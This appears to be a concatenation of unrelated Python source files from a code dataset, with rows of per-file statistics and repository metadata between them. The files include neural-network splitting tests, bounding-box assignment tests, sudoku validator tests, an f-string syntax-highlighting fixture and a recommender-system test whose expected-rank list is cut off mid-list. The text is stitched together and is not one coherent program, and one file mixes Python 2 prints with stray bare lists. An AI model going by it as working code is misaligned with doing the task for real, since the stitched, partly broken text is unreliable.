{"region": 2, "copy": 1, "group1": [1], "group2": [2, 3]},
]
dim = settings["obs_dim"] + settings["num_tasks"]
region_sizes = [
settings["obs_dim"] * dim + dim,
dim ** 2 + dim,
dim ** 2 + dim,
]
region_scores = [1.0, 2.0 / 3.0, 1.0 / 3.0]
expected_score = sum(
[score * size for score, size in zip(region_scores, region_sizes)]
) / sum(region_sizes)
# Call template.
score_template(settings, splits_args, expected_score)
def test_shared_regions_shared() -> None:
"""
Test that the shared regions are correctly computed by
`SplittingMap.shared_regions()` in the case of a fully shared network.
"""
# Construct network.
dim = BASE_SETTINGS["obs_dim"] + BASE_SETTINGS["num_tasks"]
network = BaseMultiTaskSplittingNetwork(
input_size=dim,
output_size=dim,
num_tasks=BASE_SETTINGS["num_tasks"],
num_layers=BASE_SETTINGS["num_layers"],
hidden_size=dim,
device=BASE_SETTINGS["device"],
)
# Compute expected shared regions.
expected_is_shared = torch.zeros(
network.num_tasks, network.num_tasks, network.num_regions
)
for task1, task2 in product(range(network.num_tasks), range(network.num_tasks)):
if task1 == task2:
continue
for region in range(network.num_regions):
expected_is_shared[task1, task2, region] = 1
# Compare expected to actual.
assert torch.all(expected_is_shared == network.splitting_map.shared_regions())
def test_shared_regions_single() -> None:
"""
Test that the shared regions are correctly computed by
`SplittingMap.shared_regions()` in the case of a network with a single split.
"""
# Construct network.
dim = BASE_SETTINGS["obs_dim"] + BASE_SETTINGS["num_tasks"]
network = BaseMultiTaskSplittingNetwork(
input_size=dim,
output_size=dim,
num_tasks=BASE_SETTINGS["num_tasks"],
num_layers=BASE_SETTINGS["num_layers"],
hidden_size=dim,
device=BASE_SETTINGS["device"],
)
# Perform splits.
network.split(1, 0, [0, 1], [2, 3])
# Compute expected shared regions.
expected_is_shared = torch.zeros(
network.num_tasks, network.num_tasks, network.num_regions
)
for task1, task2 in product(range(network.num_tasks), range(network.num_tasks)):
if task1 == task2:
continue
for region in range(network.num_regions):
if region == 1 and (task1 // 2) != (task2 // 2):
expected_is_shared[task1, task2, region] = 0
else:
expected_is_shared[task1, task2, region] = 1
# Compare expected to actual.
print(expected_is_shared)
print(network.splitting_map.shared_regions())
assert torch.all(expected_is_shared == network.splitting_map.shared_regions())
def test_shared_regions_multiple() -> None:
"""
Test that the shared regions are correctly computed by
`SplittingMap.shared_regions()` in the case of a network with a single split.
"""
# Construct network.
dim = BASE_SETTINGS["obs_dim"] + BASE_SETTINGS["num_tasks"]
network = BaseMultiTaskSplittingNetwork(
input_size=dim,
output_size=dim,
num_tasks=BASE_SETTINGS["num_tasks"],
num_layers=BASE_SETTINGS["num_layers"],
hidden_size=dim,
device=BASE_SETTINGS["device"],
)
# Perform splits.
network.split(0, 0, [0, 1], [2, 3])
network.split(1, 0, [0, 2], [1, 3])
network.split(1, 0, [0], [2])
network.split(2, 0, [0, 3], [1, 2])
# Compute expected shared regions.
expected_is_shared = torch.zeros(
network.num_tasks, network.num_tasks, network.num_regions
)
for task1, task2 in product(range(network.num_tasks), range(network.num_tasks)):
if task1 == task2:
continue
for region in range(network.num_regions):
val = 1
if region == 0 and (task1 // 2) != (task2 // 2):
val = 0
elif region == 1 and (task1, task2) not in [(1, 3), (3, 1)]:
val = 0
elif region == 2 and task1 + task2 != 3:
val = 0
expected_is_shared[task1, task2, region] = val
# Compare expected to actual.
assert torch.all(expected_is_shared == network.splitting_map.shared_regions())
def make_task_gradients(
grad_type: str,
num_steps: int,
num_tasks: int,
num_layers: int,
region_sizes: List[int],
) -> torch.Tensor:
""" Construct dummy task gradients. """
# Generate gradients.
max_layer_size = max(region_sizes)
if grad_type == "zero":
task_grads = torch.zeros(num_steps, num_tasks, num_layers, max_layer_size)
elif grad_type == "rand_zero":
task_grads = torch.rand(num_steps, num_tasks, num_layers, max_layer_size)
task_grads *= (
(torch.rand(num_steps, num_tasks) < 0.5).unsqueeze(-1).unsqueeze(-1)
)
elif grad_type == "rand_identical":
task_grads = torch.rand(num_steps, 1, num_layers, max_layer_size)
task_grads = task_grads.expand(-1, num_tasks, -1, -1)
elif grad_type == "rand":
task_grads = torch.rand(num_steps, num_tasks, num_layers, max_layer_size)
else:
raise NotImplementedError
# Zero out values that don't correspond to a parameter (this happens since layers
# have different sizes).
for layer in range(num_layers):
task_grads[:, :, layer, region_sizes[layer] :] = 0.0
return task_grads
def get_region_sizes(settings: Dict[str, Any]) -> List[int]:
""" Compute size of each layer in network specified by `settings`. """
dim = settings["num_tasks"] + settings["obs_dim"]
region_sizes = []
for region in range(settings["num_layers"]):
if region == 0:
region_size = settings["hidden_size"] * (dim + 1)
elif region == settings["num_layers"] - 1:
region_size = dim * (settings["hidden_size"] + 1)
else:
region_size = settings["hidden_size"] ** 2 + settings["hidden_size"]
region_sizes.append(region_size)
return region_sizes
| 34.15923
| 88
| 0.637383
| 5,078
| 39,044
| 4.691414
| 0.049429
| 0.0531
| 0.040969
| 0.019645
| 0.912018
| 0.894472
| 0.885153
| 0.878185
| 0.872686
| 0.861101
| 0
| 0.023699
| 0.23161
| 39,044
| 1,142
| 89
| 34.189142
| 0.770374
| 0.224413
| 0
| 0.707463
| 0
| 0
| 0.130376
| 0.003672
| 0
| 0
| 0
| 0
| 0.01194
| 1
| 0.056716
| false
| 0
| 0.022388
| 0
| 0.08209
| 0.002985
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
1acd85d30c9c96663483c8180fef0e5758e6e84c
| 2,509
|
py
|
Python
|
v3/detection/tests.py
|
gvanhorn38/inception
|
1da2d77c9f14cf26b25b77f7eae15234b68b7e8f
|
[
"MIT"
] | 4
|
2016-09-30T21:34:14.000Z
|
2020-06-06T04:28:38.000Z
|
v3/detection/tests.py
|
gvanhorn38/inception
|
1da2d77c9f14cf26b25b77f7eae15234b68b7e8f
|
[
"MIT"
] | null | null | null |
v3/detection/tests.py
|
gvanhorn38/inception
|
1da2d77c9f14cf26b25b77f7eae15234b68b7e8f
|
[
"MIT"
] | null | null | null |
import numpy as np
import train
batch_size = 1
num_predictions = 5
max_num_gt_bboxes = 2
locations = np.zeros([batch_size * num_predictions, 4])
confidences = np.zeros([batch_size * num_predictions])
gt_bboxes = np.zeros([batch_size, max_num_gt_bboxes, 4])
num_gt_bboxes = np.zeros([batch_size]).astype(int)
locations[0] = np.array([0.1, 0.1, 0.3, 0.3])
locations[1] = np.array([0.2, 0.3, 0.4, 0.4])
locations[2] = np.array([0.5, 0.4, 0.6, 0.6])
locations[3] = np.array([0.7, 0.8, 0.9, 0.9])
locations[4] = np.array([0.8, 0.3, 0.95, 0.5])
confidences[0] = .7
confidences[1] = .8
confidences[2] = .6
confidences[3] = .3
confidences[4] = .7
gt_bboxes[0][0] = np.array([0.25, 0.25, 0.35, 0.35])
gt_bboxes[0][1] = np.array([0.77, 0.33, 0.9, 0.53])
num_gt_bboxes[0] = 2
partitions, stacked_gt_bboxes = train.compute_assignments(locations, confidences, gt_bboxes, num_gt_bboxes, batch_size)
##############################
batch_size = 2
num_predictions = 5
max_num_gt_bboxes = 1
locations = np.zeros([batch_size * num_predictions, 4])
confidences = np.zeros([batch_size * num_predictions])
gt_bboxes = np.zeros([batch_size, max_num_gt_bboxes, 4])
num_gt_bboxes = np.zeros([batch_size]).astype(int)
locations[0] = np.array([0.1, 0.1, 0.3, 0.3])
locations[1] = np.array([0.2, 0.3, 0.4, 0.4])
locations[2] = np.array([0.5, 0.4, 0.6, 0.6])
locations[3] = np.array([0.7, 0.8, 0.9, 0.9])
locations[4] = np.array([0.8, 0.3, 0.95, 0.5])
locations[5] = np.array([0.1, 0.1, 0.3, 0.3])
locations[6] = np.array([0.2, 0.3, 0.4, 0.4])
locations[7] = np.array([0.5, 0.4, 0.6, 0.6])
locations[8] = np.array([0.7, 0.8, 0.9, 0.9])
locations[9] = np.array([0.8, 0.3, 0.95, 0.5])
confidences[0] = .7
confidences[1] = .8
confidences[2] = .6
confidences[3] = .3
confidences[4] = .7
confidences[5] = .7
confidences[6] = .8
confidences[7] = .6
confidences[8] = .3
confidences[9] = .7
gt_bboxes[0][0] = np.array([0.25, 0.25, 0.35, 0.35])
gt_bboxes[1][0] = np.array([0.77, 0.33, 0.9, 0.53])
num_gt_bboxes[0] = 1
num_gt_bboxes[1] = 1
partitions, stacked_gt_bboxes = train.compute_assignments(locations, confidences, gt_bboxes, num_gt_bboxes, batch_size)
[21792, 4]
[21792]
[32, 1, 4]
[32]
c = np.array([0.1, 0.1, 0.1, 0.1, 0.1])
x = np.array(
[[1, 0],
[0, 0],
[0, 0],
[0, 0],
[0, 1]]
)
t = 0
for i in range(5):
t += (1 - np.sum(x[i])) * np.log(1 - c[i])
t *= -1
print t
r = 0
for i in range(5):
for j in range(2):
r += x[i][j] * np.log(1. - c[i]) - (1. / 2.) * np.log(1 - c[i])
print r
| 25.343434
| 119
| 0.61379
| 511
| 2,509
| 2.900196
| 0.101761
| 0.11336
| 0.107962
| 0.08637
| 0.854251
| 0.838057
| 0.820513
| 0.771255
| 0.764507
| 0.764507
| 0
| 0.134805
| 0.151455
| 2,509
| 99
| 120
| 25.343434
| 0.561296
| 0
| 0
| 0.506494
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0.025974
| null | null | 0.025974
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
46d6d445810ca2e9c7dfadd37d525bce446ba093
| 4,063
|
py
|
Python
|
codewars/tests/test_validate_sudoku.py
|
nelsonlove/coding-exercises
|
71081a9ecb17f4aa50b232a93624822f9eeeb37e
|
[
"MIT"
] | null | null | null |
codewars/tests/test_validate_sudoku.py
|
nelsonlove/coding-exercises
|
71081a9ecb17f4aa50b232a93624822f9eeeb37e
|
[
"MIT"
] | null | null | null |
codewars/tests/test_validate_sudoku.py
|
nelsonlove/coding-exercises
|
71081a9ecb17f4aa50b232a93624822f9eeeb37e
|
[
"MIT"
] | null | null | null |
from unittest import TestCase
from kata import validate_sudoku
class Test(TestCase):
def test_validate_sudoku(self):
self.assertEqual(validate_sudoku([[5, 3, 4, 6, 7, 8, 9, 1, 2],
[6, 7, 2, 1, 9, 5, 3, 4, 8],
[1, 9, 8, 3, 4, 2, 5, 6, 7],
[8, 5, 9, 7, 6, 1, 4, 2, 3],
[4, 2, 6, 8, 5, 3, 7, 9, 1],
[7, 1, 3, 9, 2, 4, 8, 5, 6],
[9, 6, 1, 5, 3, 7, 2, 8, 4],
[2, 8, 7, 4, 1, 9, 6, 3, 5],
[3, 4, 5, 2, 8, 6, 1, 7, 9]]), 'Finished!');
self.assertEqual(validate_sudoku([[5, 3, 4, 6, 7, 8, 9, 1, 2],
[6, 7, 2, 1, 9, 0, 3, 4, 9],
[1, 0, 0, 3, 4, 2, 5, 6, 0],
[8, 5, 9, 7, 6, 1, 0, 2, 0],
[4, 2, 6, 8, 5, 3, 7, 9, 1],
[7, 1, 3, 9, 2, 4, 8, 5, 6],
[9, 0, 1, 5, 3, 7, 2, 1, 4],
[2, 8, 7, 4, 1, 9, 6, 3, 5],
[3, 0, 0, 4, 8, 1, 1, 7, 9]]), 'Try again!');
self.assertEqual(validate_sudoku([[1, 3, 2, 5, 7, 9, 4, 6, 8]
, [4, 9, 8, 2, 6, 1, 3, 7, 5]
, [7, 5, 6, 3, 8, 4, 2, 1, 9]
, [6, 4, 3, 1, 5, 8, 7, 9, 2]
, [5, 2, 1, 7, 9, 3, 8, 4, 6]
, [9, 8, 7, 4, 2, 6, 5, 3, 1]
, [2, 1, 4, 9, 3, 5, 6, 8, 7]
, [3, 6, 5, 8, 1, 7, 9, 2, 4]
, [8, 7, 9, 6, 4, 2, 1, 5, 3]]), 'Finished!');
self.assertEqual(validate_sudoku([[1, 3, 2, 5, 7, 9, 4, 6, 8]
, [4, 9, 8, 2, 6, 1, 3, 7, 5]
, [7, 5, 6, 3, 8, 4, 2, 1, 9]
, [6, 4, 3, 1, 5, 8, 7, 9, 2]
, [5, 2, 1, 7, 9, 3, 8, 4, 6]
, [9, 8, 7, 4, 2, 6, 5, 3, 1]
, [2, 1, 4, 9, 3, 5, 6, 8, 7]
, [3, 6, 5, 8, 1, 7, 9, 2, 4]
, [8, 7, 9, 6, 4, 2, 1, 3, 5]]), 'Try again!');
self.assertEqual(validate_sudoku([[1, 3, 2, 5, 7, 9, 4, 6, 8]
, [4, 9, 8, 2, 6, 0, 3, 7, 5]
, [7, 0, 6, 3, 8, 0, 2, 1, 9]
, [6, 4, 3, 1, 5, 0, 7, 9, 2]
, [5, 2, 1, 7, 9, 0, 8, 4, 6]
, [9, 8, 0, 4, 2, 6, 5, 3, 1]
, [2, 1, 4, 9, 3, 5, 6, 8, 7]
, [3, 6, 0, 8, 1, 7, 9, 2, 4]
, [8, 7, 0, 6, 4, 2, 1, 3, 5]]), 'Try again!');
self.assertEqual(validate_sudoku([[1, 2, 3, 4, 5, 6, 7, 8, 9]
, [2, 3, 4, 5, 6, 7, 8, 9, 1]
, [3, 4, 5, 6, 7, 8, 9, 1, 2]
, [4, 5, 6, 7, 8, 9, 1, 2, 3]
, [5, 6, 7, 8, 9, 1, 2, 3, 4]
, [6, 7, 8, 9, 1, 2, 3, 4, 5]
, [7, 8, 9, 1, 2, 3, 4, 5, 6]
, [8, 9, 1, 2, 3, 4, 5, 6, 7]
, [9, 1, 2, 3, 4, 5, 6, 7, 8]]), 'Try again!');
| 60.641791
| 88
| 0.200098
| 537
| 4,063
| 1.497207
| 0.046555
| 0.047264
| 0.037313
| 0.039801
| 0.797264
| 0.746269
| 0.731343
| 0.731343
| 0.60199
| 0.60199
| 0
| 0.3286
| 0.635983
| 4,063
| 66
| 89
| 61.560606
| 0.21501
| 0
| 0
| 0.448276
| 0
| 0
| 0.014275
| 0
| 0
| 0
| 0
| 0
| 0.103448
| 1
| 0.017241
| false
| 0
| 0.034483
| 0
| 0.068966
| 0
| 0
| 0
| 1
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 1
| 0
| 1
| 1
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
200fa896cac442d778b85723a3bd49165a4cf9b8
| 2,814
|
py
|
Python
|
test/fstrings/prefixes3.py
|
kylebarron/MagicPython
|
da6fa0793e2c85d3bf7709ff1d4f65ccf468db11
|
[
"MIT"
] | 1,482
|
2015-10-16T21:59:32.000Z
|
2022-03-30T11:44:40.000Z
|
test/fstrings/prefixes3.py
|
kylebarron/MagicPython
|
da6fa0793e2c85d3bf7709ff1d4f65ccf468db11
|
[
"MIT"
] | 226
|
2015-10-15T15:53:44.000Z
|
2022-03-25T03:08:27.000Z
|
test/fstrings/prefixes3.py
|
kylebarron/MagicPython
|
da6fa0793e2c85d3bf7709ff1d4f65ccf468db11
|
[
"MIT"
] | 129
|
2015-10-20T02:41:49.000Z
|
2022-03-22T01:44:36.000Z
|
fr'some {obj}'
Fr'some {obj}'
fR'some {obj}'
FR'some {obj}'
fr : source.python, storage.type.string.python, string.interpolated.python, string.regexp.quoted.single.python
' : punctuation.definition.string.begin.python, source.python, string.interpolated.python, string.regexp.quoted.single.python
some : source.python, string.interpolated.python, string.regexp.quoted.single.python
{obj} : source.python, string.interpolated.python, string.regexp.quoted.single.python
' : punctuation.definition.string.end.python, source.python, string.interpolated.python, string.regexp.quoted.single.python
Fr : source.python, storage.type.string.python, string.interpolated.python, string.regexp.quoted.single.python
' : punctuation.definition.string.begin.python, source.python, string.interpolated.python, string.regexp.quoted.single.python
some : source.python, string.interpolated.python, string.regexp.quoted.single.python
{obj} : source.python, string.interpolated.python, string.regexp.quoted.single.python
' : punctuation.definition.string.end.python, source.python, string.interpolated.python, string.regexp.quoted.single.python
fR : meta.fstring.python, source.python, storage.type.string.python, string.interpolated.python, string.quoted.raw.single.python
' : meta.fstring.python, punctuation.definition.string.begin.python, source.python, string.quoted.raw.single.python
some : meta.fstring.python, source.python, string.interpolated.python, string.quoted.raw.single.python
{ : constant.character.format.placeholder.other.python, meta.fstring.python, source.python
obj : meta.fstring.python, source.python
} : constant.character.format.placeholder.other.python, meta.fstring.python, source.python
' : meta.fstring.python, punctuation.definition.string.end.python, source.python, string.interpolated.python, string.quoted.raw.single.python
FR : meta.fstring.python, source.python, storage.type.string.python, string.interpolated.python, string.quoted.raw.single.python
' : meta.fstring.python, punctuation.definition.string.begin.python, source.python, string.quoted.raw.single.python
some : meta.fstring.python, source.python, string.interpolated.python, string.quoted.raw.single.python
{ : constant.character.format.placeholder.other.python, meta.fstring.python, source.python
obj : meta.fstring.python, source.python
} : constant.character.format.placeholder.other.python, meta.fstring.python, source.python
' : meta.fstring.python, punctuation.definition.string.end.python, source.python, string.interpolated.python, string.quoted.raw.single.python
| 85.272727
| 153
| 0.734186
| 332
| 2,814
| 6.222892
| 0.072289
| 0.197483
| 0.156825
| 0.232333
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0.144989
| 2,814
| 32
| 154
| 87.9375
| 0.858687
| 0
| 0
| 0.714286
| 0
| 0.5
| 0.014215
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0
| null | null | 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 10
|
2016a8005e8f320a2ba5311e42372ac5b2ab49d4
| 98
|
py
|
Python
|
optix/matrixopt/__init__.py
|
cavic19/matrix_optics-python
|
f1de82a8095c8858584458dfed87878f57d84bc8
|
[
"MIT"
] | null | null | null |
optix/matrixopt/__init__.py
|
cavic19/matrix_optics-python
|
f1de82a8095c8858584458dfed87878f57d84bc8
|
[
"MIT"
] | 1
|
2022-03-10T08:43:36.000Z
|
2022-03-10T08:43:36.000Z
|
optix/matrixopt/__init__.py
|
cavic19/matrix_optics-python
|
f1de82a8095c8858584458dfed87878f57d84bc8
|
[
"MIT"
] | 1
|
2022-03-26T14:02:37.000Z
|
2022-03-26T14:02:37.000Z
|
from optix.matrixopt.ABCDformalism import *
from optix.matrixopt.optical_system import OpticalPath
| 49
| 54
| 0.877551
| 12
| 98
| 7.083333
| 0.666667
| 0.211765
| 0.423529
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.071429
| 98
| 2
| 54
| 49
| 0.934066
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
2028b46606ab3df3a73029d0dda398a44b962e5b
| 14,659
|
py
|
Python
|
python/test_alpenglow/experiments/test_BatchFactorExperiment.py
|
fbobee/Alpenglow
|
5f956511017c1bee72390aaecd964c04d8ad4b45
|
[
"Apache-2.0"
] | 28
|
2017-07-23T22:47:44.000Z
|
2022-03-12T15:11:13.000Z
|
python/test_alpenglow/experiments/test_BatchFactorExperiment.py
|
fbobee/Alpenglow
|
5f956511017c1bee72390aaecd964c04d8ad4b45
|
[
"Apache-2.0"
] | 4
|
2017-05-10T10:23:17.000Z
|
2019-05-23T14:07:09.000Z
|
python/test_alpenglow/experiments/test_BatchFactorExperiment.py
|
fbobee/Alpenglow
|
5f956511017c1bee72390aaecd964c04d8ad4b45
|
[
"Apache-2.0"
] | 9
|
2017-05-04T09:20:58.000Z
|
2021-12-14T08:19:01.000Z
|
import alpenglow as prs
import alpenglow.Getter as rs
import alpenglow.experiments
import pandas as pd
import math
import pytest
import sys
from alpenglow.evaluation import DcgScore
import alpenglow.cpp
compiler = alpenglow.cpp.__compiler
stdlib = alpenglow.cpp.__stdlib
class TestBatchFactorExperiment:
def test_batchFactorExperiment(self):
data = pd.read_csv(
"python/test_alpenglow/test_data_4",
sep=' ',
header=None,
names=['time', 'user', 'item', 'id', 'score', 'eval']
)
sbExperiment = alpenglow.experiments.BatchFactorExperiment(
top_k=100,
negative_rate=3,
seed=254938879,
period_length=1000
)
rankings = sbExperiment.run(data, verbose=True, exclude_known=True)
assert rankings.top_k == 100
desired_ranks = [101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 42.0, 1.0, 10.0, 101.0, 101.0, 20.0, 101.0, 101.0, 101.0, 18.0, 87.0, 101.0, 92.0, 101.0, 101.0, 48.0, 3.0, 101.0, 77.0, 25.0, 75.0, 3.0, 80.0, 10.0, 101.0, 101.0, 101.0, 101.0, 89.0, 101.0, 66.0, 101.0, 6.0, 101.0, 52.0, 83.0, 101.0, 101.0, 56.0, 24.0, 26.0, 38.0, 101.0, 101.0, 16.0, 58.0, 15.0, 31.0, 101.0, 26.0, 101.0, 76.0, 72.0, 12.0, 7.0, 50.0, 24.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 32.0, 101.0, 101.0, 101.0, 52.0, 95.0, 3.0, 101.0, 98.0, 94.0, 101.0, 22.0, 101.0, 101.0, 25.0, 101.0, 3.0, 83.0, 2.0, 101.0, 25.0, 9.0, 27.0, 101.0, 37.0, 12.0, 101.0, 101.0, 64.0, 101.0, 101.0, 101.0, 101.0, 26.0, 50.0, 5.0, 101.0, 101.0, 66.0, 101.0, 45.0, 11.0, 101.0, 7.0, 101.0, 34.0, 101.0, 1.0, 98.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 4.0, 101.0, 10.0, 10.0, 101.0, 101.0, 101.0, 101.0, 31.0, 6.0, 101.0, 101.0, 101.0, 7.0, 54.0, 12.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 6.0, 101.0, 101.0, 45.0, 101.0, 101.0, 22.0, 101.0, 101.0, 45.0, 101.0, 101.0, 89.0, 101.0, 101.0, 101.0, 30.0, 3.0, 20.0, 101.0, 3.0, 10.0, 101.0, 16.0, 101.0, 101.0, 101.0, 25.0, 94.0, 16.0, 101.0, 101.0, 101.0, 4.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 31.0, 101.0, 101.0, 53.0, 3.0, 101.0, 2.0, 2.0, 101.0, 43.0, 101.0, 26.0, 36.0, 101.0, 101.0, 5.0, 5.0, 101.0, 21.0, 3.0, 3.0, 5.0, 37.0, 47.0, 101.0, 101.0, 35.0, 12.0, 101.0, 23.0, 101.0, 28.0, 101.0, 7.0, 82.0, 26.0, 101.0, 101.0, 20.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 2.0, 10.0, 80.0, 72.0, 26.0, 101.0, 38.0, 48.0, 10.0, 101.0, 65.0, 101.0, 4.0, 101.0, 12.0, 101.0, 50.0, 101.0, 101.0, 101.0, 101.0, 101.0, 3.0, 7.0, 101.0, 10.0, 14.0, 78.0, 97.0, 6.0, 1.0, 8.0, 15.0, 29.0, 3.0, 101.0, 96.0, 46.0, 32.0, 101.0, 12.0, 58.0, 101.0, 101.0, 53.0, 52.0, 4.0, 25.0, 70.0, 99.0, 14.0, 25.0, 38.0, 3.0, 1.0, 101.0, 1.0, 101.0, 101.0, 101.0, 101.0, 101.0, 90.0, 1.0, 101.0, 101.0, 101.0, 4.0, 101.0, 100.0, 44.0, 22.0, 56.0, 42.0, 101.0, 65.0, 100.0, 35.0, 7.0, 101.0, 101.0, 101.0, 88.0, 101.0, 2.0, 58.0, 101.0, 33.0, 8.0, 1.0, 37.0, 93.0, 101.0, 3.0, 36.0, 17.0, 20.0, 62.0, 1.0, 35.0, 101.0, 4.0, 77.0, 17.0, 101.0, 101.0, 1.0, 101.0, 101.0, 28.0, 101.0, 101.0, 19.0, 101.0, 37.0, 18.0, 101.0, 1.0, 101.0, 101.0, 25.0, 35.0, 101.0, 19.0, 47.0, 42.0, 21.0, 101.0, 101.0, 88.0, 101.0, 9.0, 4.0, 101.0, 4.0, 101.0, 3.0, 87.0, 16.0, 14.0, 101.0, 101.0, 46.0, 13.0, 44.0, 101.0, 31.0, 101.0, 101.0, 101.0, 1.0, 101.0, 57.0, 101.0, 85.0, 1.0, 91.0, 101.0, 101.0, 101.0, 101.0, 42.0, 33.0, 101.0, 101.0, 54.0, 16.0, 28.0, 101.0, 15.0, 15.0, 56.0, 101.0, 101.0, 101.0, 9.0, 101.0, 3.0, 101.0, 12.0, 9.0, 16.0, 5.0, 11.0, 2.0, 16.0, 101.0, 1.0, 101.0, 14.0, 66.0, 25.0, 28.0, 24.0, 5.0, 101.0, 93.0, 101.0, 18.0, 101.0, 101.0, 50.0, 10.0, 32.0, 30.0, 101.0, 18.0, 101.0, 17.0, 4.0, 8.0, 40.0, 36.0, 101.0, 38.0, 101.0, 2.0, 24.0, 8.0, 101.0, 101.0, 5.0, 101.0, 101.0, 8.0, 101.0, 6.0, 27.0, 101.0, 101.0, 90.0, 16.0, 84.0, 12.0, 101.0, 101.0, 23.0, 26.0, 101.0, 2.0, 101.0, 34.0, 43.0, 37.0, 17.0, 35.0, 2.0, 9.0, 5.0, 6.0, 28.0, 101.0, 29.0, 11.0, 5.0, 86.0, 8.0, 28.0, 7.0, 31.0, 11.0, 1.0, 12.0, 101.0, 30.0, 31.0, 101.0, 14.0, 101.0, 76.0, 5.0, 101.0, 13.0, 101.0, 43.0, 2.0, 2.0, 22.0, 47.0, 93.0, 48.0, 101.0, 11.0, 101.0, 101.0, 1.0, 7.0, 101.0, 4.0, 82.0, 17.0, 101.0, 22.0, 35.0, 35.0, 17.0, 101.0, 6.0, 101.0, 101.0, 29.0, 24.0, 101.0, 91.0, 101.0, 2.0, 2.0, 3.0, 101.0, 22.0, 21.0, 15.0, 8.0, 12.0, 19.0, 25.0, 17.0, 19.0, 96.0, 101.0, 21.0, 11.0, 46.0, 4.0, 1.0, 101.0, 101.0, 49.0, 17.0, 13.0, 1.0, 43.0, 101.0, 2.0, 1.0, 94.0, 56.0, 6.0, 40.0, 2.0, 101.0, 101.0, 22.0, 4.0, 28.0, 1.0, 101.0, 13.0, 30.0, 101.0, 101.0, 1.0, 39.0, 23.0, 12.0, 17.0, 7.0, 101.0, 5.0, 22.0, 2.0, 24.0, 101.0, 101.0, 76.0, 35.0, 46.0, 101.0, 16.0, 7.0, 68.0, 101.0, 31.0, 4.0, 6.0, 16.0, 9.0, 101.0, 101.0, 27.0, 9.0, 3.0, 1.0, 7.0, 29.0, 16.0, 3.0, 101.0, 10.0, 3.0, 101.0, 1.0, 2.0, 35.0, 101.0, 1.0, 36.0, 40.0, 2.0, 25.0, 1.0, 101.0, 101.0, 101.0, 101.0, 101.0, 18.0, 17.0, 1.0, 101.0, 9.0, 25.0, 13.0, 12.0, 101.0, 3.0, 101.0, 25.0, 101.0, 46.0, 62.0, 101.0, 101.0, 5.0, 5.0, 6.0, 14.0, 101.0, 101.0, 28.0, 11.0, 41.0, 24.0, 3.0, 68.0, 7.0, 9.0, 101.0, 101.0, 98.0, 101.0, 101.0, 101.0, 11.0, 14.0, 31.0, 32.0, 